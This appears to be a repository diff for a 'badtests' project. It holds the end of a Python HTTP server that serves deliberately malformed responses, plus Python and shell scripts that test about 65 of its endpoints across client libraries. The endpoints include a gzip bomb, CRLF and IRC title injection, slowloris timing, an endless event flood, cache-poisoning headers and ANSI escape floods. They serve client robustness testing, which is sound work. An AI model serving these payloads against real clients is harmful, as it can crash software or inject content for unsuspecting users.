self.send_header('Content-Length', '26')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
try:
for c in b'abcdefghijklmnopqrstuvwxyz':
self.wfile.write(bytes([c]))
self.wfile.flush()
time.sleep(1)
except:
pass
def _event_flood(self):
self.send_response(200)
self.send_header('Content-Type', 'text/event-stream')
self.send_header('Cache-Control', 'no-cache')
self.send_header('Connection', 'keep-alive')
self.end_headers()
try:
i = 0
while True:
self.wfile.write(f'id: {i}\nevent: flood\ndata: {{"seq":{i},"time":{time.time()},"garbage":"{"X"*1000}"}}\n\n'.encode())
self.wfile.flush()
i += 1
except:
pass
def log_message(self, fmt, *a):
print(f'\033[90m{self.address_string()}\033[0m {fmt % a}')
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
allow_reuse_address = True
daemon_threads = True
with ThreadedServer(('', PORT), Handler) as s:
print(f'\033[1;31m☠ badtests running on http://0.0.0.0:{PORT}\033[0m')
print(f'\033[90mOpen http://localhost:{PORT}/ in your browser\033[0m')
print(f'\033[90m{len(TESTS)} test endpoints + /logs\033[0m')
s.serve_forever()

2040
results_curl.txt Normal file

File diff suppressed because one or more lines are too long

1431
results_python.txt Normal file

File diff suppressed because it is too large Load Diff

258
test.py Executable file
View File

@@ -0,0 +1,258 @@
#!/usr/bin/env python3
'''test.py - test all badtests.py endpoints with urllib.request, http.client, requests, and aiohttp'''
import http.client
import urllib.request
import sys
import time
import traceback
try:
import requests as req_lib
except ImportError:
req_lib = None
print('[!] requests not installed - pip install requests')
try:
import aiohttp
import asyncio
except ImportError:
aiohttp = None
print('[!] aiohttp not installed - pip install aiohttp')
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 60666
BASE = f'http://{HOST}:{PORT}'
SEP = '--------------------------------------------'
TIMEOUT = 5
ENDPOINTS = [
# (path, title, extra_flags)
# extra_flags: 'slow' = uses timeout, 'endless' = streaming, 'redir' = follows redirects, 'binary' = don't decode
# Content-Length Abuses
('/cl-word', 'Content-Length: banana', ''),
('/cl-empty', 'Content-Length: (empty)', ''),
('/cl-negative', 'Content-Length: -99999999999999999', ''),
('/cl-huge', 'Content-Length: 99999999999999999', 'slow'),
('/cl-zero', 'Content-Length: 0 (body sent)', ''),
('/cl-float', 'Content-Length: 3.14159', ''),
('/cl-hex', 'Content-Length: 0xDEAD', ''),
('/cl-null', 'Content-Length: 5\\x00', ''),
('/cl-negative-one', 'Content-Length: -1', ''),
('/cl-nan', 'Content-Length: NaN', ''),
('/cl-inf', 'Content-Length: Infinity', ''),
('/cl-mismatch', 'Content-Length: 1 (body 30 bytes)', ''),
# Content-Type Abuses
('/ct-garbage', 'Content-Type: 200 random chars', ''),
('/ct-multi', 'Content-Type: 5 MIME types', ''),
('/ct-empty', 'Content-Type: (empty)', ''),
('/ct-null', 'Content-Type: text/\\x00html', ''),
('/ct-emoji', 'Content-Type: emoji', ''),
('/ct-mega', 'Content-Type: 10KB long', ''),
('/ct-crlf', 'Content-Type with CRLF injection', ''),
('/ct-semicolon', 'Content-Type with 50 charsets', ''),
# Status Code Abuses
('/status-neg', 'Status: -1', ''),
('/status-zero', 'Status: 0', ''),
('/status-999', 'Status: 999', ''),
('/status-huge', 'Status: 99999', ''),
('/status-word', 'Status: BANANA', ''),
# Header Abuses
('/hdr-mega-name', 'Header name: 64KB of As', ''),
('/hdr-mega-val', 'Header value: 1MB of Bs', ''),
('/hdr-1000', '1000 headers', ''),
('/hdr-empty-name', 'Header: : empty_name', ''),
('/hdr-no-colon', 'Header without colon', ''),
('/hdr-dup-cl', 'Duplicate Content-Length', ''),
('/hdr-null', 'Header with null bytes', ''),
('/hdr-newline', 'Header with bare \\n', ''),
# Body Abuses
('/body-endless', 'Infinite body stream', 'slow'),
('/body-none', 'Content-Length: 5, no body', 'slow'),
('/body-binary', '4KB binary as text/html', 'binary'),
# Transfer-Encoding Abuses
('/te-invalid', 'Transfer-Encoding: banana', ''),
('/te-double', 'Content-Length + Transfer-Encoding', ''),
('/te-bad-chunk', 'Chunked with ZZZ chunk size', ''),
# Protocol Abuses
('/proto-garbage', '512 random bytes (no HTTP)', ''),
('/proto-empty', 'Empty response (0 bytes)', ''),
('/proto-half', 'HTTP/9.9 version', ''),
('/proto-no-headers', 'Status line + body, no headers', ''),
('/proto-just-newlines', 'Response is just CRLF', ''),
# Encoding Abuses
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'binary'),
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext)',''),
# Redirect Abuses
('/redir-self', '301 redirect loop', ''),
('/redir-garbage', '301 garbage Location URL', ''),
('/redir-chain', '302 infinite unique chain', ''),
# Timing Abuses
('/slow-headers', 'Slowloris: 1 byte per 0.5s', 'slow'),
('/slow-body', 'Body: 1 byte per second (a-z)', 'slow'),
# HTML/Content Abuses
('/html-utf16', 'Full HTML page as UTF-16LE', ''),
('/html-long-title', 'HTML title is 1000 characters',''),
('/html-multiline-title', 'HTML title with newlines', ''),
('/html-irc-title', 'Title with IRC injection', ''),
('/html-unicode', 'Random unicode title/body', ''),
('/html-meta-refresh', 'Meta refresh loop (0s)', ''),
# Terminal Abuses
('/ansi-chaos', 'ANSI escape code nightmare', 'binary'),
# Network Abuses
('/net-gzip-bomb', 'Gzip bomb (~10KB to 10MB)', 'binary'),
('/net-event-flood', 'SSE event flood (infinite)', 'slow'),
('/net-mime-sniff', 'MIME type confusion', ''),
('/net-cache-poison','Contradicting cache headers', ''),
('/net-hsts-bomb', 'HSTS with insane max-age', ''),
# Miscellaneous
('/misc-ipv4', 'Shows your IPv4 address', ''),
('/misc-ipv6', 'Shows your IPv6 address', ''),
]
MAX_BODY = 8192 # max bytes to read from any response body
def truncate(data, maxlen=500):
'''Truncate binary/long output for display'''
if isinstance(data, bytes):
if len(data) > maxlen:
return repr(data[:maxlen]) + f'... ({len(data)} bytes total)'
return repr(data)
s = str(data)
if len(s) > maxlen:
return s[:maxlen] + f'... ({len(s)} chars total)'
return s
def test_urllib(path, flags):
'''Test with urllib.request'''
url = f'{BASE}{path}'
timeout = TIMEOUT if 'slow' in flags else 10
try:
r = urllib.request.urlopen(url, timeout=timeout)
body = r.read(MAX_BODY)
headers = dict(r.headers)
print(f' Status: {r.status}')
print(f' Headers: {truncate(headers, 300)}')
print(f' Body: {truncate(body)}')
except Exception as e:
print(f' ERROR: {type(e).__name__}: {e}')
def test_http_client(path, flags):
'''Test with http.client'''
timeout = TIMEOUT if 'slow' in flags else 10
try:
c = http.client.HTTPConnection(HOST, PORT, timeout=timeout)
c.request('GET', path)
r = c.getresponse()
body = r.read(MAX_BODY)
headers = list(r.getheaders())
print(f' Status: {r.status} {r.reason}')
print(f' Headers: {truncate(headers, 300)}')
print(f' Body: {truncate(body)}')
c.close()
except Exception as e:
print(f' ERROR: {type(e).__name__}: {e}')
def test_requests(path, flags):
'''Test with requests library'''
if req_lib is None:
print(' SKIPPED: requests not installed')
return
url = f'{BASE}{path}'
timeout = TIMEOUT if 'slow' in flags else 10
try:
r = req_lib.get(url, timeout=timeout, allow_redirects=False, stream=True)
body = r.raw.read(MAX_BODY)
headers = dict(r.headers)
print(f' Status: {r.status_code}')
print(f' Headers: {truncate(headers, 300)}')
print(f' Body: {truncate(body)}')
r.close()
except Exception as e:
print(f' ERROR: {type(e).__name__}: {e}')
async def test_aiohttp_single(path, flags):
'''Test with aiohttp'''
if aiohttp is None:
print(' SKIPPED: aiohttp not installed')
return
url = f'{BASE}{path}'
timeout_val = TIMEOUT if 'slow' in flags else 10
to = aiohttp.ClientTimeout(total=timeout_val)
try:
async with aiohttp.ClientSession(timeout=to) as session:
async with session.get(url, allow_redirects=False) as r:
body = await r.content.read(MAX_BODY)
headers = dict(r.headers)
print(f' Status: {r.status}')
print(f' Headers: {truncate(headers, 300)}')
print(f' Body: {truncate(body)}')
except Exception as e:
print(f' ERROR: {type(e).__name__}: {e}')
def test_aiohttp(path, flags):
'''Wrapper to run aiohttp test synchronously'''
if aiohttp is None:
print(' SKIPPED: aiohttp not installed')
return
asyncio.run(test_aiohttp_single(path, flags))
def main():
print(f'Testing badtests.py at {BASE}')
print(f'Endpoints: {len(ENDPOINTS)}')
print(f'Libraries: urllib.request, http.client' +
(', requests' if req_lib else '') +
(', aiohttp' if aiohttp else ''))
print()
for path, title, flags in ENDPOINTS:
print(SEP)
print(f'ENDPOINT: {path}')
print(f'TITLE: {title}')
print()
print('[urllib.request]')
test_urllib(path, flags)
print()
print('[http.client]')
test_http_client(path, flags)
print()
print('[requests]')
test_requests(path, flags)
print()
print('[aiohttp]')
test_aiohttp(path, flags)
print()
print(SEP)
print('ALL TESTS COMPLETE')
print(SEP)
if __name__ == '__main__':
main()

129
test.sh Executable file
View File

@@ -0,0 +1,129 @@
#!/bin/bash
# test.sh - curl tests for all badtests.py endpoints
# Usage: ./test.sh [host:port]
# Output is capped at 8KB per endpoint to prevent multi-GB files
HOST="${1:-localhost:60666}"
SEP="--------------------------------------------"
MAX_OUTPUT=8192 # max bytes of curl output to capture per endpoint
test_endpoint() {
local path="$1"
local title="$2"
local extra_flags="$3"
echo "$SEP"
echo "ENDPOINT: $path"
echo "TITLE: $title"
echo ""
local cmd="curl -sv --max-time 5 ${extra_flags} http://${HOST}${path}"
echo "COMMAND: $cmd"
echo ""
eval "$cmd" 2>&1 | head -c "$MAX_OUTPUT"
echo ""
echo ""
}
# --- Content-Length Abuses ---
test_endpoint "/cl-word" "Content-Length: banana"
test_endpoint "/cl-empty" "Content-Length: (empty)"
test_endpoint "/cl-negative" "Content-Length: -99999999999999999"
test_endpoint "/cl-huge" "Content-Length: 99999999999999999" "--max-time 2"
test_endpoint "/cl-zero" "Content-Length: 0 (body sent)"
test_endpoint "/cl-float" "Content-Length: 3.14159"
test_endpoint "/cl-hex" "Content-Length: 0xDEAD"
test_endpoint "/cl-null" "Content-Length: 5\\x00"
test_endpoint "/cl-negative-one" "Content-Length: -1"
test_endpoint "/cl-nan" "Content-Length: NaN"
test_endpoint "/cl-inf" "Content-Length: Infinity"
test_endpoint "/cl-mismatch" "Content-Length: 1 (body is 30 bytes)"
# --- Content-Type Abuses ---
test_endpoint "/ct-garbage" "Content-Type: 200 random chars"
test_endpoint "/ct-multi" "Content-Type: 5 MIME types"
test_endpoint "/ct-empty" "Content-Type: (empty)"
test_endpoint "/ct-null" "Content-Type: text/\\x00html"
test_endpoint "/ct-emoji" "Content-Type: emoji"
test_endpoint "/ct-mega" "Content-Type: 10KB long"
test_endpoint "/ct-crlf" "Content-Type with CRLF injection"
test_endpoint "/ct-semicolon" "Content-Type with 50 charset params"
# --- Status Code Abuses ---
test_endpoint "/status-neg" "Status: -1"
test_endpoint "/status-zero" "Status: 0"
test_endpoint "/status-999" "Status: 999"
test_endpoint "/status-huge" "Status: 99999"
test_endpoint "/status-word" "Status: BANANA"
# --- Header Abuses ---
test_endpoint "/hdr-mega-name" "Header name: 64KB of As"
test_endpoint "/hdr-mega-val" "Header value: 1MB of Bs"
test_endpoint "/hdr-1000" "1000 headers"
test_endpoint "/hdr-empty-name" "Header: : empty_name"
test_endpoint "/hdr-no-colon" "Header without colon"
test_endpoint "/hdr-dup-cl" "Duplicate Content-Length: 5 and 999"
test_endpoint "/hdr-null" "Header with null bytes"
test_endpoint "/hdr-newline" "Header with bare \\n"
# --- Body Abuses ---
test_endpoint "/body-endless" "Infinite body stream" "--max-time 2"
test_endpoint "/body-none" "Content-Length: 5, no body" "--max-time 2"
test_endpoint "/body-binary" "4KB binary as text/html"
# --- Transfer-Encoding Abuses ---
test_endpoint "/te-invalid" "Transfer-Encoding: banana"
test_endpoint "/te-double" "Content-Length + Transfer-Encoding"
test_endpoint "/te-bad-chunk" "Chunked with ZZZ chunk size"
# --- Protocol Abuses ---
test_endpoint "/proto-garbage" "512 random bytes (no HTTP)"
test_endpoint "/proto-empty" "Empty response (0 bytes)"
test_endpoint "/proto-half" "HTTP/9.9 version"
test_endpoint "/proto-no-headers" "Status line + body, no headers"
test_endpoint "/proto-just-newlines" "Response is just CRLF"
# --- Encoding Abuses ---
test_endpoint "/enc-utf16" "Body is UTF-16, header says UTF-8"
test_endpoint "/enc-gzip-lie" "Content-Encoding: gzip (plaintext body)"
# --- Redirect Abuses ---
test_endpoint "/redir-self" "301 redirect loop"
test_endpoint "/redir-garbage" "301 garbage Location URL"
test_endpoint "/redir-chain" "302 infinite unique redirect chain" "-L --max-redirs 5"
# --- Timing Abuses ---
test_endpoint "/slow-headers" "Slowloris: 1 byte per 0.5s headers" "--max-time 2"
test_endpoint "/slow-body" "Body: 1 byte per second (a-z)" "--max-time 2"
# --- HTML/Content Abuses ---
test_endpoint "/html-utf16" "Full HTML page encoded as UTF-16LE"
test_endpoint "/html-long-title" "HTML title is 1000 characters"
test_endpoint "/html-multiline-title" "HTML title with embedded newlines"
test_endpoint "/html-irc-title" "Title with CRLF IRC injection"
test_endpoint "/html-unicode" "Random unicode title and body"
test_endpoint "/html-meta-refresh" "Meta refresh loop (0 second)"
# --- Terminal Abuses ---
echo "$SEP"
echo "ENDPOINT: /ansi-chaos"
echo "TITLE: ANSI escape code nightmare"
echo ""
echo "COMMAND: curl -s --max-time 5 http://${HOST}/ansi-chaos | cat -v"
echo ""
curl -s --max-time 5 "http://${HOST}/ansi-chaos" | cat -v | head -c "$MAX_OUTPUT"
echo ""
echo ""
# --- Network Abuses ---
test_endpoint "/net-gzip-bomb" "Gzip bomb (~10KB to 10MB)" "-o /dev/null"
test_endpoint "/net-event-flood" "SSE event flood (infinite)" "--max-time 1"
test_endpoint "/net-mime-sniff" "MIME type confusion (JS as image/jpeg)"
test_endpoint "/net-cache-poison" "Contradicting cache headers"
test_endpoint "/net-hsts-bomb" "HSTS with insane max-age"
# --- Miscellaneous ---
test_endpoint "/misc-ipv4" "Shows your connecting IPv4 address" "-4"
test_endpoint "/misc-ipv6" "Shows your connecting IPv6 address" "-6"
echo "$SEP"
echo "ALL TESTS COMPLETE"
echo "$SEP"